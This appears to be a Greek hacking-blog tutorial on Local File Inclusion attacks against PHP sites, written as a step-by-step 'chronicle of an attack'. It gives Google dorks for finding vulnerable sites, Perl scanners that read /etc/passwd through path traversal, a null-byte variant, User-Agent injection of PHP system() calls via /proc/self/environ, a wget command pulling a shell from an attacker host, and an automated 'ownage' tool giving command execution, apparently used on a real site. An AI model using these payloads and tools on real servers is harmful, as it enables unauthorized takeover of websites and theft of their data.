Γειά σας, μετά από αρκετό καιρό απουσίας γυρίσαμε και πάλι με νέα tutorials και δημοσιεύσεις. Σε αυτό το tutorial θα αναλύσουμε ένα τρόπο επίθεσης εξίσου σημαντικό για την κατάληψη ενός server. Ο τρόπος αυτό είναι παρόμοιος με την επίθεση RFI που είχαμε προαναφέρει σε παλιότερο άρθρο. Η εισαγωγή που θα κάνω για να ξεκινήσω αυτό τον τύπο επίθεσης είναι ένα πολύ σύντομο και παλιό ρητό... "Τα μεγάλα κάστρα πέφτουν από μέσα"...
Σύμφωνα με προηγούμενο άρθρο η επίθεση RFI (Remote File Inclusion) είναι ένας τύπος επίθεσης σε server όπου δηλαδή, κάποιος επιτιθέμενος μπορεί να εκτελεί κώδικα σε ένα
απομακρυσμένο site μέσω ενός .php /.asp shell που “φιλοξενείται” σε δικό
του server. Διαβάζοντας τον τίτλο LFI (Local File Inclusion) θα μπορούσε να πει κανείς ότι η επίθεση αυτή είναι ίδια σχεδόν με την RFI με την μόνη διαφορά ότι η
επίθεση Local File Inclusion εμφανίζει αρχεία μέσα απ’ τα τον server.
Αν είχαμε ένα site που είχε πρόβλημα με τις επιθέσεις RFI η επίθεση θα γινόταν έτσι:
Ενώ ένα site ευπαθές σε LFI επιθέσεις, θα έχει την εξής σύνταξη:
Ας δούμε τι είναι μια επίθεση τύπου LFI
και που οφείλετε μια τέτοια αδυναμία. Όλα αρχίζουν και τελειώνουν εδώ για
τον απρόσεχτο προγραμματιστή!
<?php
$page = $_GET[page];
include ($page);
?>
Όπως μπορεί να καταλάβει ο καθένας (ή περίπου ο καθένας), αυτό είναι ένα ευπαθές κομμάτι PHP κώδικα που δεν πρέπει ΠΟΤΕ
να χρησιμοποιηθεί κατά τη δημιουργία μια σελίδας. Το include() δεν
ελέγχετε πουθενά και αφήνει τα δεδομένα να “περνούν” στο site χωρίς
πρώτα, να φιλτραριστούν με κάποιο τρόπο!
Mια ενδιαφέρουσα ανακάλυψη -μέσω του
LFI- θα ήταν το αρχείο /etc/passwd/ αφού, μέσω της επίθεσης LFI
μπορούμε να διαβάσουμε αρχεία μεσα απ’ το server. Αν στη σελίδα index.php?page=news.php αντικαταστήσουμε το “news.php” με “../../../../../../../../../etc/passwd“, θα έχουμε στα χέρια μας το αρχείο “/etc/passwd/“.
Προσοχή: Μιλάμε πάντα για ένα site το οποίο είναι ευπαθές σε επίθεση LFI! Βέβαια και αυτά τα στοιχεία να πάρουμε
μπορούν να χαρακτηριστούν ως άχρηστα αφού είναι κωδικοποιημένα (με x)
και ο μόνος τρόπος να τα σπάσουμε είναι να αποκτήσουμε πρόσβαση στο
directory “/etc/shadow” το οποίο ΠΟΤΕ δεν είναι προσβάσιμο για το ευρύ “κοινό” αφού είναι only Readable / Writeable απ’ τον root.
Κάπως έτσι άδοξα λοιπόν, θα τέλειωνε η
‘καριέρα’ ενός skript kiddie (αφού πρώτα είχε κάνει φιγούρα σε γνωστούς,
φίλους, ξαδέρφια και μακρινούς συγγενείς!!). Άρα, αν φτάσουμε μέχρι εδώ
και το παρατήσουμε, θα συμφωνήσω ΑΠΟΛΥΤΑ με τους επικριτές του LFI, ότι αποτελεί μια άχρηστη τεχνική.
Τι θα γινόταν αν συνδικαζόταν κάπως αλλιώς;
Τα βήματα που ακολουθούν είναι και τα
ρεαλιστικά βήματα που θα ακολουθούσε κάποιος κακόβουλος hacker ώστε να
πάρει την πλήρη έλεγχο ενός site.
Το Χρονικό μιας επίθεσης.
Βήμα 1
Όπως όλοι μας γνωρίζουμε, ένα απ’ τα πιο δυνατά εργαλεία στα χέρια των
hackers είναι η μηχανή αναζήτησης Google αφού ουσιαστικά τους λύνει τα
χέρια με μερικές πληκτρολογήσεις (το μόνο που θέλει είναι εξοικείωση
πάνω στον τρόπο που θέτουμε τα ζητούμενα.Ας επιστρέψουμε στο θέμα μας,
το οποίο είναι το LFI και πως θα μπορούσε κάποιος να βρει vulnerable
(σε LFI) site μέσω του google.
Γράφοντας:
inurl:index.php?page=
ή
inurl:main.php?pg=
…και τα λοιπά…
Φυσικά μπορούμε να αλλάξουμε τα δεδομένα που έχουμε θέσει προς αναζήτηση… ανάλογα με τις απαιτήσεις και τις ανάγκες μας.
Βήμα 2
Αφού βρει κάποιος ένα site το οποίο είναι ευάλωτο σε επιθέσεις LFI
σίγουρα διαπίστωσε ότι το συγκεκριμένο κενό ασφαλείας δίνει την
δυνατότητα να ανάγνωσης του αρχείου “/etc/passwd”. Σειρά σε κάθε επίθεση
έχει η εύρεση ή η δημιουργία ενός προγράμματος αυτοματοποιημένης
εκμετάλλευσης του κενού ασφαλείας που βρήκαμε. Στην περίπτωση μας θα
γράψουμε μόνοι μας όλα τα προγράμματα που θα χρησιμοποιήσουμε μιας και
δημιουργώντας τα προγράμματα που χειριζόμαστε κατανοούμε καλύτερα το
κενό ασφάλειας που εκμεταλλευτήκαμε.
06 | print "\n(c) totalXaker magazine \n" ; |
07 | print "LocalFI Directory scanner [mr.pr0n]\n" ; |
10 | print "[Ex: www.xxx.org ]:" ; |
12 | $host = "http://" . $host if ( $host !~ /^http:/); |
14 | print "[Ex: xxx.php?xxx= ]:" ; |
17 | $ext = "../../../../../../../../../../../../../../etc/passwd" ; |
18 | $lfi = $host . "/" . $path . $ext ; |
20 | $useragent = LWP::UserAgent->new; |
21 | $request =HTTP::Request->new(GET=> $lfi ); |
22 | $scnpg = $useragent ->request( $request )->as_string; |
26 | print "Woow " , $host , " is Vulnerable!\n" ; |
30 | print "PFF.. " , $host , " is NOT Vulnerable!\n" ; |
Ασ’ πούμε λίγα λόγια για τον παραπάνω
κώδικα! Το scriptaki όπως μπορούμε να διαπιστώσουμε, δεν κάνει κάτι το
ιδιαίτερο απλά μας βγάζει απ’ τον κόπο της χειρωνακτικής εκτέλεσης του
LFI test για το αν το συγκεκριμένο site (που έχουμε βάλει στο μάτι) έχει
πρόβλημα τύπου LFI η όχι και συγκεκριμένα αν έχει προσβάσιμο προς το
κοινό το “/etc/passwd”.Όταν βρει το /etc/passwd (αν υπάρχει!) θα ψάξει
τα περιεχόμενα της σελίδας για να βρει τη λεξη root
if ($scnpg=~/root/)
Ο λόγος που βάλαμε τη λέξη root είναι απλός και σίγουρα κατανοητός. Κάθε
“/etc/passwd” που σέβεται τον εαυτό του αναφέρει στην αρχή του την λέξη
root. Φυσικά μπορείτε το root να το αντικαταστήσετε με home ή να το
προσθέσετε και αυτό στο scannarisma για μεγαλύτερη αξιοπιστία στο
αποτέλεσμα. Σε περίπτωση που μας εμφανίσει το μήνυμα “
Woow http://www.site.com is Vulnerable“,
τότε είμαστε σε καλό δρόμο αλλιώς. Άλλη μια παράμετρος η οποία θα
μπορούσε να προστεθεί στο scanneraki μας για έλεγχο είναι το Nullbyte
():
http://www.site.com/index.php?file=../../../../../../../../ etc/passwd
Έχουν υπάρξει φορές που ενώ ζητάμε από ένα site να μας εμφανήσει το
αρχείο “/etc/passwd”, εκείνο είτε δεν μας το εμφανίζει, είτε μας
εμφανίζει μηνύματα λάθους όπως στο παράδειγμα :
Warning: main(/etc/passwd.inc): failed to open stream: No such file or directoryectory in /var/www/htdocs/index1.php on line 199
Warning: main(): Failed opening '/etc/passwd.inc' for inclusion
(include_path='.:/usr/lib/php') in /var/www/htdocs/index1.php on line
199
Ενώ, όταν βάλουμε /etc/passwd
μας εμφανίζει κανονικά /etc/passwd. Η μέθοδος αυτή λέγετε αλλιώς και
Null poison attack.
Κάτι τέτοιο είναι πολύ εύκολο να προστεθεί στον κώδικα μας, απλά
προσθέτοντας μερικές γραμμές ακόμα. Μετά την γραμμή 29 μπορούμε να
προσθέσουμε τον παρακάτω κώδικα.
Null poison Attack Code:
01 | print "Tryin' to LFI with NullByte ()\n" ; |
03 | $ext2 = "../../../../../../../../../../../../../../etc/passwd" ; |
04 | $byte = $host . "/" . $path . $ext2 ; |
06 | $useragent = LWP::UserAgent->new; |
07 | $request =HTTP::Request->new(GET=> $byte ); |
08 | $scnpg = $useragent ->request( $request )->as_string; |
11 | print "Woow " , $host , " is Vulnerable with !\n" ; |
15 | print "PFF.. " , $host , " is NOT Vulnerable AGAIN!!\n" ; |
Στην Εικόνα βλέπουμε ένα site που με ευκολία μας δείχνει όλα του τα
“ευαίσθητα” προσωπικά δεδομένα “/etc/passwd”. Καλό σημάδι για έναν
εισβολέα..Κακό για τον admininstrator.
Βήμα 3ο
Στα προηγούμενα δύο βήματα ανακαλύψαμε ένα site το οποίο έχει πρόβλημα
στο πως δέχεται τα δεδομένα, και αβίαστα εμφανίζει αρχεία μέσα που σε
καμία περίπτωση δε θα έπρεπε να βλέπαμε. Το directory που θα
χρησιμοποιήσουμε για τα παραδείγματα μας στη συνέχεια του άρθρου, δέν θα
είναι το “/etc/passwd” αλλά το “/proc/self/environ/“.
Στην περίπτωση που θέλουμε να
αυτοματοποιήσουμε την συγκεκριμένη διαδικασία -δηλαδή να ψάχνει για το
directory “proc/self/environ”- απλα αλλάζουμε το directory που
scannάραμε στο προηγούμενο βημα καθώς επίσης και το
if ($scnpg=~/root/)
σε
if ($scnpg=~/HTTP_USER_AGENT/)
και είμαστε έτοιμοι
Βλέπουμε στα στοιχειά που περιέχει το “/proc/self/environ/” αναφέρει και τα στοιχεία του User Agent μας.
Mozilla/5.0 (X11; U; Linux i686; el-GR; rv:1.9.0.3) Gecko/2008092510 Iceweasel/3.0.1 (Debian-4.0.1-2)
Εδώ βλέπουμε μερικά στοιχεία που μας αποκαλύπτει το
/proc/self/environ/.Στο οποίο θα προσπαθήσουμε να πάρουμε πρόσβαση..
Τώρα το πως, αποτελεί ένα αίνιγμα που θα ξετυλιχτεί λίγο-λίγο μπροστά
στα μάτια σας.
Μας ήρθε μια σατανική ιδέα! Αφού δείχνει
τα στοιχεία του User Agent μας σαν στοιχεία του site, θα δοκιμάσουμε, να
αλλάξουμε τα στοιχεία αυτά με μια εντολή που μας δίνει για παράδειγμα
τη λίστα όλων των περιεχομένων του κατάλογου όπου βρισκόμαστε! Στο linux
είναι η εντολή ls.
Για να υλοποιήσουμε την σατανική μας ιδέα θα χρειαστούμε το Extension για τον FireFox με το όνομα
Tamper Data.
Βήμα 4ο
Αφού εγκατασταθεί το extencion Tamper Data το βάζουμε σε λειτουργία
Το ανοίγουμε το site μας πάμε στην καρτέλα του Tamper Data, πατάμε start Tamper Data
και κάνουμε refresh το site. Οταν μας εμφανιστεί αυτό που βλέπουμε στην
εικόνα 3 πατάμε “tamper” και θα μας βγάλει στο το menu το οποίο
φαίνεται στην εικόνα 4 και αλλάζουμε τα στοιχεία του User Agent με την
εντολη ls -la
, αλλά όχι έτσι απλά. H ολοκληρωμένη μορφή της εντολής θα πρέπει να είναι η ακόλουθη:
Αλλάζουμε τα στοιχεία του User Agent στο συγκεκριμένο πεδίο με την εντολή. Αν όλα πάνε καλά μας περιμένει μια έκπληξη.
Ο λόγος που γράφουμε έτσι την εντολή
είναι απλός. Προσπαθούμε να κοροϊδέψουμε το site ώστε να πιστέψει ότι
και η εντολή μας είναι μέρος του κώδικα!
Βήμα 5ο
Αφού ακολουθήσαμε πιστά τις οδηγίες του όρθρου, κάνουμε refresh! Και…boom!
ΟΛΑ τα δεδομένα του συγκεκριμένου καταλόγου.
Όλα τα αρχεία που εμπεριέχονται στον συγκεκριμένο κατάλογο.. είναι ορατά σε έναν όχι και τόσο εξουσιοδοτημένο χρήστη!
Αν δεν καταλαβαίνετε τη λέει η λίστα,
μπορείτε και κοιτάξετε τον πηγαίο κώδικα της σελίδας και αυτό που θα
δείτε θα είναι κάπως …ετσι...
Μια πιο εύκολα αναγνώσιμη μορφή των δεδομένων της σελίδας!!
Βήμα 6ο
Αφού πήραμε μια γεύση για το τη μπορούμε να κάνουμε με το LFI, ας δούμε
όμως μέχρι που μπορούμε να το φτάσουμε. Λοιπόν, ας αντικαταστήσουμε την
προηγούμενη εντολή με μια λίγο διαφορετική. Αλλά βασισμένη στην ίδια
λογική! Θα ανεβάσουμε σε δικο μας έναν server ένα shellakι όπως αυτά που
χρησιμοποιούνται στις αντεπιθέσεις RFI. Όταν γίνει αυτό βάζουμε το
server-θυμα να το κατεβάσει στα αρχεία του με την εντολή wget!
1 | <?php system( "wget www.evilhacker.com/shell.txt; mv shell.txt hacked.php" );?> |
Με την παραπάνω εντολή, αναγκάζουμε το
σύστημα να κατεβάσει -μέσω του “wget”- το shell.txt και μετά με την
εντολή “mv” αλλάζουμε το όνομα από shell.txt σε hacked.php.
Πάμε στη σελίδα “/hacked.php”.
Το σύστημα είναι πλέων owned Και χωρίς καν να ιδρώσουμε!
Βήμα 7ο
Αφού κατανοήσαμε τον τρόπο με τον οποίο λειτουργεί η συγκεκριμένη
επίθεση, σειρά έχει να γράψουμε ένα αυτοματοποιημένο εργαλείο το οποίο
να μας επιστρέφει shell, ώστε να μην χρειάζεται να κάνουμε όλη την
προαναφερθείσα διαδικασία.
06 | print "\n(c) totalXaker magazine \n" ; |
07 | print "LocalFI Automatic Ownage Tool [mr.pr0n]\n" ; |
09 | print "[Ex: www.xxx.org ]:" ; |
11 | $host = "http://" . $host if ( $host !~ /^http:/); |
13 | print "[Ex: xxx.php?xxx= ]:" ; |
16 | $ext = "../../../../../../../../../../../../../../../../../../../proc/self/environ" ; |
17 | $lfi = $host . "/" . $path . $ext ; |
19 | $useragent = LWP::UserAgent->new; |
25 | $useragent ->agent( "data<!--?php system('$cmd');?-->data" ); |
26 | $response = $useragent ->get( $lfi ); |
28 | if ( $response ->content =~ /data(.*)data/s) |
Τα αποτελέσματα και η χρήση του προγράμματος που γράψαμε είναι εμφανέστατα εικονα...
Το μικρο μας -όχι τόσο αθώο- προγραμματάκι έχει βάλει δυνατά του να μας
βγάλει ασπροπρόσωπους και τα κατάφερε μια χαρά αφού πήραμε cmd μέσα στον
server-στόχο. Πόσο χειρότερα για τον Admin θα μπορούσαν να είναι τα
πράγματα?
Επίλογος
Όπως θα διαπιστώσατε στις εικόνες, τα
στοιχεία του site είναι καλυμμένα ως έναν αρκετά ικανοποιητικό βαθμό,
ώστε να αποφευχθούν οι επιθέσεις από ανώριμα script kiddies τα οποία το
μόνο που θα ενδιαφερθούν είναι να κάνουν ενα deface στο server χωρίς καν
να καταλάβουν πως έγιναν όλα αυτά.
Όπως είναι φυσικό και επόμενο το shell
“hacked.php” που είχα ανεβάσει, έχει σβηστεί απ’τον server καθώς επίσης
δεν έχει πειραχτεί κανένα μα κανένα αρχείο. H γνώση δείχνει δύναμη.. ενώ
η επίδειξη της δύναμη με σκοπό την καταστροφή δείχνει απλά την
μετριότητα.
ΠΡΟΣΟΧΗ!
Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε
φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση
και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε
παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.
0 σχόλια:
Δημοσίευση σχολίου
Σημείωση: Μόνο ένα μέλος αυτού του ιστολογίου μπορεί να αναρτήσει σχόλιο.